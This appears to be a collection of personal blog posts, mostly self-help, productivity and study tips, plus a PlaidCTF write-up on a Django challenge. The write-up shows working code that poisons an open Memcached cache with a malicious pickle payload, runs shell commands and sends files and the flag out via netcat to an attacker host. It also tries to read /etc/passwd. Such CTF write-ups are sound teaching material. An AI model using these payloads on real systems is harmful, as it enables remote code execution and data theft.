We tend to dislike people that are different from us. From appearance, behavior to belief. That’s why racism, discrimination and religious war exist.

But what happens when everybody look alike, behave in similiar ways and believe in the same ideas? What happens when differences no longer exist?

We now want to be different.

We change our appearances, act rebelliously and start believing in weird things. We do everything we can to stand out from the crowd.

We are not logical creatures like we often believe. Far from it. We, the human beings, are irrational.

OK. I have had enough with the feeling of “not wanting to publish a new entry just simply because I’m not fully satisfied with it.”

So I am going to write and publish more regardless of the “writing standard” which somehow I set for myself.

Writing helps me learn. A lot. The more I write, the more I learn. I am not going to let that stupid standard keep me from writing more and writing often.

Expect more articles from me.

One of the best ways to succeed is surrounding yourself with successful or talented people. You should make friends with them, like them and learn from them, however, do not ever admire them.

Instead, envy them.

They are more successful than you. By envying them, you have a great motivation to learn harder and work harder with the hope that someday you will be in their league.
On the other hand, you admire somebody only when in deep down of your mind, you know that it is impossible for you to be like them. In other words, you admit your own defeat.

Given a group of people that you wish you had their successes:
If you envy all of them then this is the best case. It means you will be like them someday.
The second case, if you admire them while still are little jealous. This is worse but still ok. You still have some chances to be like them.
Lastly, if you truly admire them without even a smallest envy, then, my friend, you are doomed forever.

What is it? 

Consider these situations:
You are walking in a dark street at night to get home.
You are in the car of your friend and he is driving too fast.
You are in the last moment of your life.
Before read further, you should spend a moment to think about this question: What do the three situations above have in common?
————————–
If you can’t figure it out, the answer is, you do not know what kind of things are going to happen next. They are still unknown, but your mind is telling you that they won’t be good things.

In all three situations above, anything may happen: you might be suddenly attacked by a robber, the car might bump into something and in the last case, your soul might be torn apart by the Death.

And this is one of the worst fears of human beings: the fear of the unknown.

The Consequence

Why fear of the unknown is bad? It keeps you worrying about things that either have a small chance of occurrence (you might be attacked) or things you have no control over (death). And eventually, it completely wears you out.

Aside from those extreme examples, fear of the unknown often prevents you from switching to a better job, getting to know a new friend or taking advantage of new opportunities to succeed.

Some thoughts

Regarding to death, religions do a great job of helping people in fighting this fear. They make the unknown become the known: “death is just a doorway to heaven.” Once people believe that, they no longer worry about what will happen with them after they die, because they know the gate of heaven is waiting for them.

However, reality proves that religions still can’t totally remove all uncertainties behind death from their followers: even people who firmly believe in heaven don’t want to die to go there. After all, how many people has been able to come back from heaven to tell the story of how it looks like?

The internet is a good place and also, ironically, a bad place for work.
By good place, I mean most of us can greatly benefit from the Internet thanks to its huge source of information. Being a programmer, I heavily rely on the webs to help me with my day-to-day job. When I have a problem need to be solved , a quick google search often saves me hours of trying to figure it out myself.

On the other hand, the internet also has its downside. Social networks, instant messengers, online news and entertainment, all these kinds attractive stuff are just one click away. And most of us seem not to be able to resist the urge of following this infinite loop of distraction.

One thing that most of us don’t realize that the Internet is one of the most distracting our mankind has ever invented. Yes, it is much worse than video games or TV. How is that possible? Let me explain.

If you playing games on a PlayStation 3 or watching TV for three hours straight, you know exactly that you are spending time on entertainment. And you will immediately know that you have been playing/watching too much.

But, on a computer, that’s a totally different story. You can spend hours browsing Facebook, reading online news and still feel like you are just taking a “quick” break from your work. And of course, with many of us, there are often not just one “quick” break in a typical work day. The ugly thing here is, even you just spent two hours or more in those kind of non-work related activities, by the end of the day, you still feel like you have been doing a full eight hours of work. There is no clear boundary between working and playing when it comes to a computer with high-speed internet connection.

So, how are we going to solve this problem? In my situation, I can not just unplug the cable to disconnect from the internet. As a programmer, I need internet to do my job. So instead, I put all websites that I consider time-consuming into a blacklist, then ban all of them from my computer.

What is the result of this? Every time my mind wanders and I type “facebook.com” in the browser, I get a friendly reminder like this

Also, I moved the rest of news reading and other non-work related activities to my Ipad. The Ipad is a great device for those kinds of stuff. By using this trick, I now have a much clearer sense of how much time I spend on work and entertainment.

Are you aware of any other method that help us stay away from distractions?

In this social media era, a large percentage of information is in form of writing. Still, there are a lot of people who don’t write. Why? There are many reasons. But, in my opinion, one of the most common causes is we all want perfection in our writing.

We want everything in our post to be perfect. Nothing is more embarrassing than writing a blog entry with full grammar mistakes and publishing it under our very own name. People will laugh at our faces once they see it. However, since we don’t write often enough, we can’t have a blog post that we truly satisfy. So finally, we decide it’s better not to write anything. End of story.

However, our world does not and should not work that way. Stop reading and take a look at everything around us right now. Can you name anything that is perfect? I bet you can’t.

Let’s take it further. Suppose that after trying very very hard, you find a thing which, in your opinion, is almost perfect. Unfortunately, somebody can always tell you that, that thing is no way close to their image of perfection.

You may ask, Why? One simple explanation is because their definition of perfection is different from your definition of perfection and, in turn, differs from mine. Perfection itself does not exist.

So why would you have to bother about how other people may think of your writing?

Just write! Do not wait for perfection, because it will never come.
But what to write? My answer is just write anything that pops in your mind. Any topic is OK as long as you start writing it.

And you know what? A blog entry, even short, conveys way more meaning than a ton of empty Facebook statuses. And as a friend of yours, I care about it.

Update: David Galles (the author of the tool mentioned in this post) just told me a good news that he just rolled out the new HTML5 version of his awesome tool. Now you can enjoy cool animations right from your browser without the hassle of downloading the whole program. I tried it and it worked like a charm. Click here to try it yourself. Thanks David Galles !  

This article made it to the homepage of  Hacker News,  popular bookmarks of Delicious and top posts of the day of WordPress. I’d like to say thanks for all readers for your enormous interest in such a simple post.

I always think the best way to understand complex data structures & algorithm is to see them in action. So I want to share with you an awesome data structure visualization tools written in Java by David Galles.

This tool is a comprehensive collection of common data structures and algorithms.  So just in case you lose your CS textbook and want to brush up your algorithm-fu for the upcoming software engineer interview, you may find this tool helpful.

You can check out some screenshoots of the program below; then download the its java version by click on this link : Data Structure Visualizations.

Dijkstra's algorithm

B-Tree

Steve Jobs gave one of his greatest speaks in the 119th commencement of Stanford University. Don’t get me wrong. I’m not a fan of Steve Jobs, but what he said in that speak was, in my opinion, undeniably true.

…No one wants to die. Even people who want to go to heaven don’t want to die to get there. And yet death is the destination we all share. No one has ever escaped it.. – Steve Jobs

If you ask me what I should bet on to get a surest win? My answer is I’m going to bet that one day you and me will die. I will definitely win since death is the inarguable fact, the law of nature.
The only thing matter here is “when?”. It could be 40 years from now, 10 years from now, a month from now or … even today? No one knows what tomorrow will be like. You could laugh with a friend today and tomorrow you would hear the news that you would never be able to see him or her again. Sad? Yes. But that might happen to you, me or all of us. My friend died in an accident three years ago, and that was just a few hours after we talked. Since then, I have realized that if I can’t predict how long I’m going to live, I will make every single day of my life counts. Life is short.

…Remembering that I’ll be dead soon is the most important tool I’ve ever encountered to help me make the big choices in life. Because almost everything — all external expectations, all pride, all fear of embarrassment or failure – these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.. -  Steve Jobs

This weekend I (abs|Zer0|) participated in the PlaidCTF organized by PPP. That was an awesome experience. Our team solved 3 out of 4 web challenges and I spent most of my time on the web challenge #16 which was related to Django.

In my opinion,this challenge was more about Memcached and the way Python’s pickle library serializes objects than about Django itself.
Since the challenge had been up for 4-5 hours without any team able to solve it, the organizer decided to give a hint which is the content of “settings.py”. At first I found nothing special with the file, it was just like a normal Django web configuration file. But when I took a closer look at it again, I found the website was using Memcached as a way to serve their website faster.

Note: For those of you who don’t know what memcached is : memcached is a distributed memory object caching system. That means you can store your object by making a call to memcached server and retrieve it back when you need it. Big websites like Facebook, Youtube and Twitter use memcached to store result sets of SQL queries in objects and pass them to memcached.

Within given amount of expiring time, their systems can connect to memcache and retrieve the SQL result sets without the need to make calls to SQL databases again. This results in a dramatic increase in performance; since the most common bottleneck of big web applications lies in SQL databases (Imagine JOINing two tables with millions of records).

Let’s take a look at the quick and easy-to-understand example from the memcached official website:
function get_foo(foo_id)
foo = memcached_get("foo:" . foo_id)
return foo if defined foo

foo = fetch_foo_from_database(foo_id)
memcached_set("foo:" . foo_id, foo)
return foo
end


So you can see, using Memcached is very simple: set(key, my_object) to store my_object in memcached server and get(key) to get back your object. Simply put, memcached is a hash table no more no less.
By default, to enhance speed, memcached does NOT support authentication; since it’s supposed to be run in the DMZ zone, not internet facing zone.

Back to the challenge, I saw they had a memcached server running at port 11211.
So I tried my luck :

abszero:/home/abszero$ nc -vv a12.amalgamated.biz 11211
Connection to a12.amalgamated.biz 11211 port [tcp/*] succeeded!

Cool! It’s open!

Now, obviously we can communicate with the memcached server through telnet, but it’s not realistic and inefficient. So I downloaded pylibmc library, which is the library Django uses to communicate with memcached server.
I tested the library by saving an object to memcached server:

>>> import pylibmc
... mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
... mc.behaviors = {"tcp_nodelay": True, "ketama": True}
... mc.set("abszer0", "the lowest possible temperature")  #save to key "abszer0"
... #now get it back
... print mc.get("abszer0")
the lowest possible temperature
0: True

Ok! So everything worked well.
Next, I want to see if django saved anything useful in the memcached server; but unfortunately according to official memcached documentation, they don’t provide any functions to enumrate all keys/values are currently being stored in memcached.

Hmm, it took me some time to find a special trick to dump all keys  . And even better, Daniel Rust has made a python library called memcached_stats for feature and put it on github .

I played with the library

>>> from memcached_stats import MemcachedStats
... mem = MemcachedStats('a12.amalgamated.biz','11211')
... print mem.keys()
[':1:views.decorators.cache.cache_header..2edc97fe4182046731384adbe3ff08e7.en-us', ':1:views.decorators.cache.cache_header..baff7b2337a5058f907713a57ac78a26.en-us', ':1:views.decorators.cache.cache_page..GET.2edc97fe4182046731384adbe3ff08e7.d41d8cd98f00b204e9800998ecf8427e.en-us', ':1:views.decorators.cache.cache_page..GET.a1b21330e9b6789a244daa41de1e155e.d41d8cd98f00b204e9800998ecf8427e.en-us', ':1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us', 'abszer0']

wow! So I could see all keys that were current being stored in memcached server (heck, it even included my key “abszer0“)

So why don’t I iterate through all keys and see what values do they hold?

>>> def enumerate_keys():
...   from memcached_stats import MemcachedStats
...   import pylibmc
...   mem = MemcachedStats('a12.amalgamated.biz','11211')
...   mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
...   mc.behaviors = {"tcp_nodelay": True, "ketama": True}
...
...   for i in mem.keys():
...         print "+ key:",i
...         print mc.get(i)
>>> enumerate_keys()
+ key: :1:views.decorators.cache.cache_header..baff7b2337a5058f907713a57ac78a26.en-us
[]
+key: :1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us
Last-Modified: Mon, 25 Apr 2011 03:45:42 GMT
Expires: Mon, 25 Apr 2011 03:55:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=600
... HTML content of the homepage
...

+key: abszer0
the lowest possible temperature

Hah! So the html content of the challenge was stored under the key “:1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us”
Let’s check what type of that key is:

>>> response = mc.get(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us")
1:

So HttpResponse object was stored here. Django used this cached object to output the html content to user to avoid making requests to the SQLite db (of course, if the object had not been expired). By now, I could deface the website just by editing this HttpResponse object with my html content and saving it to this particular key, then Django would blindly output to users.

>> response._container = "==AbsZer0=="
>> mc.set(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us", response)
3: True

Succeeded!! That was fun, but I needed the key to score points nonetheless.
So I needed to figure out how to advantage of this to exploit the system.

I spent some time to read Django documentation and read its code to understand how it works internally. I realized I could craft a HttpResponse object that has a malicious __str__() function then save it to memcached, and the BaseHandler would call it to render the page.
I created a function that reads ‘/etc/passwd’ and save it to the key called “justwannatestsomething“

>>> def malicious():
...         secret = "justwannatestsomething"
...         from memcached_stats import MemcachedStats
...
...         import memcache
...         __mem = MemcachedStats('a12.amalgamated.biz','11211')
...         __mc = memcache.Client(['a12.amalgamated.biz:11211'], debug=1)
...
...         __mc.set(secret, open('/etc/passwd').read()) #payload to read /etc/passwd
...
...         return 'Internal Server Error..' #to make django happy
>>> response.render = malicious #assign it to render function
>>> mc.set(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us", response)
4: True

Unfortunately, even though I had tried this method many times, mc.get(“justwannatestsomething”) never showed up with the content of ‘/etc/passwd’. T_T Something was wrong because I didn’t understand fully how Django works.

After that, I rested for a while and come back to see if there was still a way to exploit memcached. A while later, I realized there’s a surer way to run my payload: pylibmc used python Pickle to serialize/deserialize objects. So if I saved an object to memcached, on the other side (the ctf server), django would use pickle to deserialize that object and treat it like a normal one.
But, there’s a big BUT in here, I could use pickle to modify Existing object data, but how can I create a New CLASS of object and use that to run system commands? Remember python Pickle lib only works on objects not on python’s normal statements like :

import pickle
pickle.loads("os.system('cat /etc/passwd')") ##Failed!!

I was banging my head for a while and read carefully official pickle documentation.
Finally, I found out I could define a class that has __reduce__() function to let me do the trick I wanted with pickle. The following class told their CTF server to list all files in current directory and send it to my servers at MY_SERVER_IP (sorry can’t show it here).

>>> class havesomefun(object):
...   def __reduce__(self):
...     import subprocess
...     return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc MY_SERVER_IP 5555'),))

I also defined a function that set all django cache keys to the object I wanted in one call:

>>> def setter(payload):
...   from memcached_stats import MemcachedStats
...   import pylibmc
...   mem = MemcachedStats('a12.amalgamated.biz','11211')
...   mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
...   mc.behaviors = {"tcp_nodelay": True, "ketama": True}
...   for i in mem.keys():
...       print i
...       if i.startswith(":1:views.decorators.cache.cache_page"):
...         print mc.set(i, payload)

>>>setter(havesomefun())
True

Ok , on my server I ran to wait for the connection:
zer0@li18:~$ nc -vv -l 5555

Then, I opened the django webpage to force it getting the cache object that injected with my payload. I was holding my breath to see the netcat status on my server.
And, it WORKED!!!!!!!

zer0@li18:~$ nc -vv -l 5555
Connection from 128.237.157.90 port 5555 [tcp/*] accepted
chal
chal.db
db
index.html

Wow it listed all the files in current directory and sent it to my server.
I crafted a new havesomefun() object to read what inside the “chal/” directory and forced django to reload from memcached again:

Connection from 128.237.157.90 port 5555 [tcp/*] accepted
KEY
__init__.py
__init__.pyc
chal.wsgi
example
manage.py
settings.py
settings.pyc
templates
urls.py
urls.pyc

Haha! So KEY’s here. Let’s do the last step to read its content:

>>> class havesomefun(object):
...   def __reduce__(self):
...     import subprocess
...     return (subprocess.Popen, (('/bin/sh','-c','cat /home/pctf-chal/chal/KEY | nc MY_SERVER_IP 5555'),))
>>>setter(havesomefun())
True

Then I looked back to my server, here’s what I saw:
zer0@li18:~$ nc -vv -l 5555
Connection from 128.237.157.90 port 5555 [tcp/*] accepted
You found a key: WHY_IS_THIS_SO_EASY

I solved it! Finally!! Yay!
=========

This was a long reading, thanks for reading this til the very end. Actually, during the ctf everything was not as smooth as described in here: a lot trials and errors and some unforseeable small problems need to tackle as well. But overall this one was really nice & creative challenge by PPP. Good work PPP!!

PS: I wrote this in a hurry and haven’t got time to proofread. I apologize for any inconvenience it may cause.

“One bite at time”

Do you worry more about which party should you join this weekend or which brand of clothes should you buy than your future in the next 10 years?

Do you fill in the gaps of your life with any random activities that pop in your mind? Do you watch TV , play games or surf Facebook because you “just feel like doing it ” or “just have nothing to do?”

Do you have big dreams or wishes that long ago were abandoned in the very bottom of your mind to pursue things that satisfy your immediate needs?

Is your life often a video tape that by the end of the day it automatically rolls back for another round ?

…

Are you really just a mindless zombie?
Wake up!!

Life is not lost by dying; life is lost minute by minute, day by dragging day, in all the thousand small uncaring ways.  - Stephen Vincent Bené

Every man dies.  But not every man really lives.  -Braveheart

Tell yourself you’re going to fail this exam and you’ll  get an F.

Tell yourself you never get rich and you’ll live in poverty forever.

Tell yourself you are incompetent and you’ll never achieve anything.

The surest way to fail is to determine not to succeed - Richard B. Sheridan

These thoughts explain why deactivating your Facebook account may be one of the best decision you would ever make to have a more productive life and a better future. Bye bye Facebook!

The first couple of days took some getting used to. There were times when I caught myself typing my browser shortcut for Facebook out of habit. I think Facebook, like email has turned into a site which we click to whenever we’re distracted, when we’re facing some hard tasks at work, when we’re trying to procrastinate on something, or when we’re looking for an emotional release. In a way it’s an avoidance outlet. It’s okay if we’re conscious of that, but if we’re not, it can easily turn into a repetitive click-fest, where you post a comment, go to the next profile, post another comment, return to your profile, update your status feed, and by time you’re done, someone has replied to your comment and it’s now your turn to reply.

Now this whole process may take no more than 10-15 minutes, but most of us check Facebook more often than we realize. Say if you do it once an hour at work (which is pretty tame – back when I had an account, I noticed some users seemed to literally be online all the time), that’s 1.5-2 hours gone in a standard work day, or almost 15-25% of your work hours!

Personally, I didn’t realize how time I was spending on Facebook – It was only after deleting my account that I suddenly noticed myself having a lot of free time.

(From The Personal Excellence Blog )

Is time travel possible ?

Two months ago, I read  an amazing article on Daily Mail newspaper by British physicist Stephen Hawking on time travel. In this article, introductory concepts in the science of time travel such as the fourth dimension, wormhole, and GrandFather paradox are presented in his fascinating and straightforward writing style. The greatest success of this article, in my opinion, is his excellent ability to explain such a complicated problem to average readers who often have almost no background knowledge on this subject.

To those of you who don’t know Stephen Hawking, he is considered the world’s foremost living theoretical physicist. He is also Lucasian Professor of Mathematic of University of Cambridge, which was once held by Sir Isaac Newton.

Today, I stumbled across on Youtube some time travel videos in Stephen Hawking’s series which were broadcasted on Discovery channel not long ago. So if you don’t like or don’t have time to read his lengthy post on Daily Mail, this five-part video is another great option to learn more about time travel. After all, who wouldn’t want to know the differences in time travelling between reality and comic books like Doraemon ?

The contents of the article and this below video are exactly the same. Enjoy!  :)

I came across the below table from bodybuilding.com. This table precisely summarize almost everything regarding to the mindsets of winners vs losers’ that are mentioned in nearly all of self-development books I have had chance to read.  I believe these rules hold true not only for bodybuilding but for many aspects in our lives as well. The road to be come winner from a pathetic loser is not easy; however, it’s not necessarily an unachievable task.

And remember, the guider leading you to the very end of that road is not anything else but your positive attitude.

I just decided to tweak some minor things in my blog to improve the overall reading experience of viewers. Below is the list of changes and explanations I made:

• Increase Font-Size of title and body contents: Since I do read and read a lot, it’s a real pain to me staring at some tiny text for a long time. It hurts my eyes so bad. The rule that I have developed over time is:  I never read any blog which has font size less than 11 (one rare exception is if the content of that blog is extraordinarily good). I bet you would feel the same thing, so I have made the text BIGGER.

• A view is now showing at most THREE recent entries at a time: Having multiple entries on one page could confuse the readers. Plus, they may have a hard time scrolling up and down to find the next older entry if they want to skip the latest one. By observing the average length of entry in my blog, Three entries per page seems to be a reasonable number.

• Add a simple “Just 5 minutes” slogan to very top of the blog: 5 mins? That’s right! I promise it won’t take you more than 5 minutes to read each latest entry in this blog. I will try to keep everything as simple & informative as possible. In addition, every entry should come with at least one or two images to illustrate better the ideas being mentioned in the post. After all, “One picture is worth a thousand words” isn’t it?  So keep in mind, it just takes under 5 mins to read and learn new thing in my blog.

While everything in life is often complicated, people tend to see it under a very simple view, especially when they have limited knowledge of that particular topic.
Since most of us probably often see at least a few advertisements every day of our lives. We see ads everywhere :  while surfing on the web, watching TV, or even driving on streets.

Let me ask you a very simple question: “What is a good commercial made of ?”

Think about it for few seconds before continue to read…
You might think that in order to make a good ads, all the producers need is just a creative idea and a small effort to realize that concept to the screen (in case of television or internet ads) or to hard objects (in case of newspapers and ad boards). And that’s all.
If your thought is somewhat similar to this, then you are probably like me and most of us: we are having tendency to oversimplify things we don’t understand or don’t have any idea about.
The fact is, making an effective ad often requires more than just one or two outstanding ideas.

During the creating process, the producers usually have to answer several questions:
What are the target audiences that the ad aim to ? (kids, teen or adults)
What forms can the ad take?  (local newspaper, TV or billboard)
When is the best time to display the ad? (during a TV show or after a sport match )
What is the best time and best place to display the final product?  (TV, internet, newspapers)
How specific words or actions must be repeated to make the main theme stand out?
How to keep the ad “stick” to the audience’s minds, so that the audience will remember the product  even a long period after they finished watching the ads?
Is the ad good enough? (Usually this questions is only answered by a series of trial and error broadcast test)

The above is by no means an exhaustive list. But you get the idea of how hard and complicated the process can be. It is a huge amount of work requires a lot of time and effort. It’s not just as simple as “just a good idea” as we mistakenly think .

Another simple example demonstrating the concept of “oversimplifying things that we don’t know”.A short conversation between two students from two different majors. Student A majoring in Business and Student B who is studying Computer Science.

The view of student B on Business

And

In the past, I used to think the task of writing an informative blog entry is quite straightforward. In fact, I struggled a lot to find a good structure for my post, bget the right words, and present the main concept in an easy-to-follow manner (at least that’s what I thought).

Ignorance is a very important & useful concept, I will spend my entire next post to cover the five levels of ignorance.

Bonus: A very creative ad from Google

I went to the library 2 days ago to grab these books. They are all non-technical readings because I’m growing tired starring at program’s source codes or diagrams all day. One thing surprised me the most was that almost every single book I searched for and decided to read on Amazon was found right in the library of my university. That was pretty awesome.

Should have a small plan to summarize all books as soon as I finish reading them, eh?

Now here comes the summer.